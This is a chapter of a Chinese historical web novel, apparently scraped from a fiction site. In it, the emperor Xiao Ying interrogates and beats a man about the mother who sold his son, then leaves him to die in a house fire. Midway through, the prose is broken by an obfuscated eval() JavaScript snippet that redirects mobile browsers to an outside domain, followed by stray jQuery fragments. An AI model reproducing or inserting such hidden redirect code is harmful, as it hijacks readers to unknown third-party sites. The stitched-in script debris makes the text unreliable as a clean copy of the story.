程大武跌跌撞撞地推开房门，被自家门槛绊了一跤。酒劲涌上来，让他整个人晕乎乎的，在地上挣扎了半天都没起得来。程大武张嘴就喊婆娘，喊了半天也无人应，他这才想起来，那婆娘居然叫了娘家兄弟去堂上告他，如今已带着孩子回去了。


    程大武趴在地上，痛快地骂了两句脏的，连带着小舅子、丈母娘一起，骂痛快了，才挣扎着从地上爬起来。


    他今天让京兆尹打了板子，从背上到大腿无一处不疼，原说喝酒能少疼些，如今酒劲发上来，伤处胀痛得反而更厉害，火烧似的，肚内又饿，真是难过得要命。程大武“哎哟哎哟”地叫着，摸着黑往床头去。他不敢点灯，建康为防火灾，禁夜燃灯。这里离太尉府又近，巡逻得更严些，若是官吏从外头看见了火，还得再拖去打板子。


    他刚要躺下，只听“哧啦”一声。有人坐在房中，擦亮火折子，点起了灯。


    程大武吓得叫了一声娘，脚下一滑，跌了一跤。疑心是自己看错了，使劲揉了揉眼睛。那人隐在暗处，坐得动也不动，他叫了一声，那影子也不回，程大武便壮起胆子，往前凑了凑。一张极俊美的脸从黑暗中浮出，竟是个活人，眼睛一瞬不瞬地，正盯着他看。


    “娘诶！”程大武骇得不轻，“什么人！”


    “我问，你答。”那人开了口，说得很简单，“不要有多余的话——你把儿子卖给福光寺的和尚，是哪一年？”


    “你，你到底是谁？闯进我家作甚！”


    “是正和七年十月，对不对？”那人问他，“你儿子当时多大？”


    程大武没答，头上却已经冒了汗：“与你何干？”


    一片静默。然后那人站了起来，脱离了灯能照到的范畴。程大武茫然地盯着烛后浓得化不开的黑暗，听声音好像是他去了灶头，不知道拿了什么东西。片刻之后，他回来了。程大武什么都没看清，只觉得腿上狠狠挨了一记，像是铁的烧火棍打了下来。他发出一声惨叫，在地上滚了两下。那人却再不打了，又坐了回去，一张脸重新从黑暗中透了出来。


    “我儿子是正和六年春分的时候生的！”程大武老实了，“当时一岁半了！”


    那人放下烧火棍：“卖了多少？”


    程大武呜呜咽咽的：“三……三千钱。”


    那人闻言低低地笑了一声，好像觉得这价钱低到可笑。程大武马上替自己辩驳起来：“家中穷得锅都揭不开了！三千钱能买十石米，还少一张嘴，这也都是没办法！”


    “所以宋氏为了赎回孩子，甘愿去福光寺自卖为奴？”


    “什么赎孩子！”程大武啐了一口，“孩子根本就不在福光寺了，我看就是图那和尚手里有几个铜钿，哼……”


    那人打断他：“孩子为何不在福光寺？”


    “我怎么知道！”程大武龇牙咧嘴地站起来，捂着腿上被打疼的地方，一瘸一拐地往后退，“那和尚不是个好东西，见我婆娘有几分姿色，百般调戏作弄，就是不肯告诉她把孩子转手卖去哪里了……那婆娘也是贱！两人不知道背着我做了多少龌龊事，嘿，老子却叫他们当个龟儿——”


    他话没说完，见那人一动，马上闭了嘴，直往后缩。


    那人继续问：“那她又是怎么入的宫？”


    程大武嘟嘟囔囔的，说不清楚，只斜着眼睛往灯下看，觉得那张脸越看越熟悉。


    今日在堂上的时候，京兆尹身后设了一道屏风，没说两句话就悄摸地回头觑一眼，那神态，一看就是身后的官比他大多了。程大武跪在地上的时候从屏风的缝里偷看了两眼，那侧脸好像是跟这黑暗中的人有几分相似。


    他背上猛地发了一层汗，赶紧跪了下来，“咚咚”给陌生人磕了两个头：“大人饶命！小的再不敢胡说了！”


    那人的声音冷冷的：“说。”


    程大武只好招来：“那婆娘在福光寺伺候了一阵子，有一日突然回来同小的说，太尉府那狎客遭祸了，福光寺那和尚不知为什么也被牵扯其中，她就猜，孩子肯定是和那狎客有关系，八成是被卖进太尉府了。那和尚逃跑以后，她就想法子托了太尉府的婆子，混进去烧饭……然后，然后……”


    “然后什么？”


    “她打听了一年多才听到一句闲话，太后生产那天，太尉府的马夫送那狎客抱了一个孩子进宫。那马夫被她灌多了酒，偷偷告诉她，太后其实只生了公主一个……”程大武说到这里连连磕头，“都是那婆娘想儿子想得失心疯了胡说八道的，小的不敢！小的不敢！”


    那人还是沉默，任他磕头，半晌才问：“这是什么时候的事情？”


    “景平二年……快要三年的时候。”程大武哆哆嗦嗦，“小的不知道她怎么进的宫，她突然有一日就不见了……”


    也就是说，在孩子被卖掉整整两年以后，她还在找。他一直以为，乳母是在谢拂霜怀有身孕的时候就找好的。可是景平二年，连明绰都已经两岁多了，宫里不会还要找乳母，而她那时也多半不会还有奶水了。


    一个民女，到底要有多大的勇气和决心，才想到办法跨过那重重的宫墙来到他身边？


    萧盈低下头，一行泪猝不及防地坠了下来，在黑暗里灼穿了十几年的光阴。


    “你去接她了吗？”萧盈又问，“那天……”


    “去了！”程大武连忙答道，“可是小的在宫门外面等了一天也不见人……小的以为是来戏耍人的！她那么多年都不露面，小的以为她早就死了……”


    “那你知道她还活着，高兴吗？”


    程大武抬起头，茫然地看着他：“自然是……高兴。”


    “她回来发现你已另娶，你想好怎么办了吗？”


    程大武舔了舔舌头，脑子转得飞快，突然拍拍胸脯道：“那当然她才是原配夫人！她若愿意，把那小的留着做个洗脚婢，她若不高兴，我两棒子就把那臭婆娘打走了！”


    萧盈笑了一声，程大武也跟着笑，涎着脸往上凑了凑。


    “大人，那保太夫人的封赏……”


    萧盈垂头看他一眼：“想要？”


    “夫妻一场啊！”程大武长叹一声，“她泉下有知，想必也舍不得见小的日子如此难过……”


    “保太夫人的赏赐算什么？”萧盈说得慢条斯理，唇边的笑意渐深，“你可是当今天子的生父，何不进宫去，一世荣华富贵不全都有了？”


    “照啊！”程大武一拍大腿，“我本就是这么想的！大人真是明理！”


    他说得高兴，方才的恐惧和戒心都烟消云散，干脆和萧盈隔灯对坐，一边说还一边伸手拍萧盈的肩。多拍了两下，又突然察觉到什么，歪着头，凑着灯看萧盈的长相。


    “大人长得……”程大武嘿嘿一声，“长得……”


    萧盈还是笑：“像你？”


    程大武突然愣住了。是像他，尤其是那笑。一双眼睛在昏暗的光下只剩黑，脸却苍白得不似活人，好像奈何桥下不肯往生的魂，从水中幽幽地向他露出笑容。程大武背上突然“唰”地出了一层冷汗，他想站起来走，受伤的腰腿却不听使唤，只能僵在那里，看着面前的人重新拾起了烧火棍。


    “你……你……”程大武从椅子上翻下来，“啊！”


    烧火棍精准地打在了他的膝盖上，只听“喀拉”一声，他痛得青筋绽出，发出凄厉的痛号。


    “她闺名叫什么？”萧盈在他的痛呼声里平静地问了最后一个问题。


    他从不知道。“姊姊”不过是小孩子亲昵的叫法，很多人都可以是“姊姊”。一直到她纵身一跃，她都从来没有听到他叫过一声“娘”。“夫人”也不是正式的封号，不过是因为她已嫁了人，所有人便都这样称呼。她注定没有名字，要面目模糊地坠落在司马门前看不到头的那条长长的路里。


    “她叫玉桥……”他的手抓住了萧盈的脚腕，像条虫一样，在他脚下匍匐着。“饶了我！求求你！我是你的……”


    萧盈低下头，漠然地看着他。他犯的罪行多么微末啊，杖刑已经是大雍律能给出的最严厉的刑罚。连皇帝下旨也没个像样的由头，徒引人注目。他本想让桓湛来，无声无息的，也给他个痛快。可是偏偏明绰今日是一个人出的宫，他只好让桓湛送她回去。


    也好。萧盈抬起脚，想挣开他的手。但地上的人死死抱住，萧盈顺势踢了一脚，把人踢翻过去。程大武膝盖已经被打折，还有新鲜的杖疮，一时倒在地上，动弹不得，只看到那人手里举了灯，走了出去。门被掩上，紧紧地扣住了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15038442|159969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一切都重新归于寂静。


    明绰百无聊赖地撑着下巴，不知道第几次拒绝了桓宜华：“不用了，多谢桓姐姐。”


    桓宜华神色悻悻的，把一晚热腾腾的汤饼又端了回来。陛下交代了，要桓湛把东乡公主送回宫，可是公主又非要等陛下一起回去。建康有宵禁，天一黑，街上黑灯瞎火的啥也没有。桓湛思来想去，只有袁府近，而且袁增袁煦都不在家，不会惊动朝中的大人物，妹妹桓宜华也能招待招待公主。


    只是桓宜华虽然也曾进宫在女尚书那里进学，跟东乡公主却实在不熟。干巴巴地说了一会儿，就赶紧端出各色宵夜来，可惜东乡公主心事重重，什么都不想吃。桓湛则是早已溜之大吉，说是去找陛下了。


    “长公主，”桓宜华搜肠刮肚地找了找话题，“今年万寿一过，长公主也该满十五岁了，及笄礼可挑了日子？”


    明绰心不在焉地“嗯”了一声：“挑着呢。”


    “陛下和长公主手足情深，想来还会给长公主再行加封。”


    明绰连“嗯”都懒得再嗯，草草点了点头。大雍的公主本该在及笄才封号，但怀帝去得早，所以萧盈登基的时候就一并给她封号了。称号上已无再加封的余地，无非就是赏食邑、赏财物。从前的公主们在意这个，因为这意味着父皇的宠爱和在朝中的地位。但是对于明绰来说也没有什么意义，她已经是太后的掌上明珠了。


    桓宜华顿了顿，只好继续找话：“乌兰国主想必也会送一根玉笄……”


    明绰扭过头来，皮笑肉不笑地看了她一眼。桓宜华被她看得面上一红，感觉公主好像不是很喜欢听这话，赶紧噤声了。


    房间外突然传来脚步声，有个少年人的声音停在了门外，彬彬有礼地唤：“阿嫂？”


    桓宜华得了救星似的，忙应了一声：“怎么了二郎？”


    “东长巷那边走水了……”


    明绰一下子站起来：“什么！”


    “阿嫂别慌。”外面没听出来，还以为是桓宜华。他的声音仍像个小孩子，腔调却十足像个大人，“我已命人把家里四面都看住，以防贼人趁乱。”


    “好。”桓宜华也站了起来，面上并无慌乱的样子，“你去瞧瞧，我阿兄回来不曾？”


    袁綦应了一声，转身走远了。桓宜华安抚地拍拍明绰的手，明绰本想马上跑出去找萧盈，但是看到她这样镇定自若，又想着桓湛方才就出门去找人了，也只好按捺下来等着。


    桓宜华让婢女给长公主重新上了一壶茶，自己告了个罪，去安抚了婆母两句。不过片刻，袁綦又来了，说桓湛还没回来，但他想带几个人去帮忙灭火，来请示阿嫂。桓宜华只说了一句“小心”，便不拦他。随后便开了匣，取了自己的剑，打开了房门，指挥下人们点灯照明，把四处都看牢，以防宵小趁火打劫。


    袁府严阵以待，但外面并未出多大的乱子。不过两刻功夫，桓湛便带着萧盈来了，袁綦也跟在身后，一起回了府。


    桓宜华马上迎着陛下坐到堂上。明绰本想跟他说话，但是萧盈一副不怎么熟的样子，从袖底朝她做了个手势。明绰这才想起来，袁綦并不认识她。刚才桓湛送她过来的时候，也没有惊动，袁綦都不知道大嫂屋里有客人。明绰亦步亦趋地跟在萧盈身边，他大约是把她当成从宫里跟出来的小黄门，连看也未多看一眼。


    当初校场操练，他也跟着兄长去了，跟萧盈、桓湛混得都熟悉，也不怵君威，站在那儿跟桓宜华说，火势根本不大，无非是离太尉府太近了，夜巡的人才这么紧张。他带人赶到的时候，火都已经灭完了，就烧了一户人家。


    明绰没忍住开口：“哪一户？”


    “巷尾那户。”袁綦回道。明绰马上转头看了萧盈一眼，但是萧盈镇定地喝着茶，好像他也不知道是什么情况。


    明绰心里突然一坠。


    桓宜华：“巷尾那家？那不是今日挨板子的泼皮家里吗？”


    “就是他。”袁綦转向嫂子，“听邻居说，这泼皮挨了打，反倒还要去喝酒。过了宵禁才回来，还在家中点灯，想是醉得不轻……”


    桓宜华没忍住“哎呀”一声。


    袁綦耸了耸肩，把话说完：“这不就走了水，倒把自己活活烧死了。”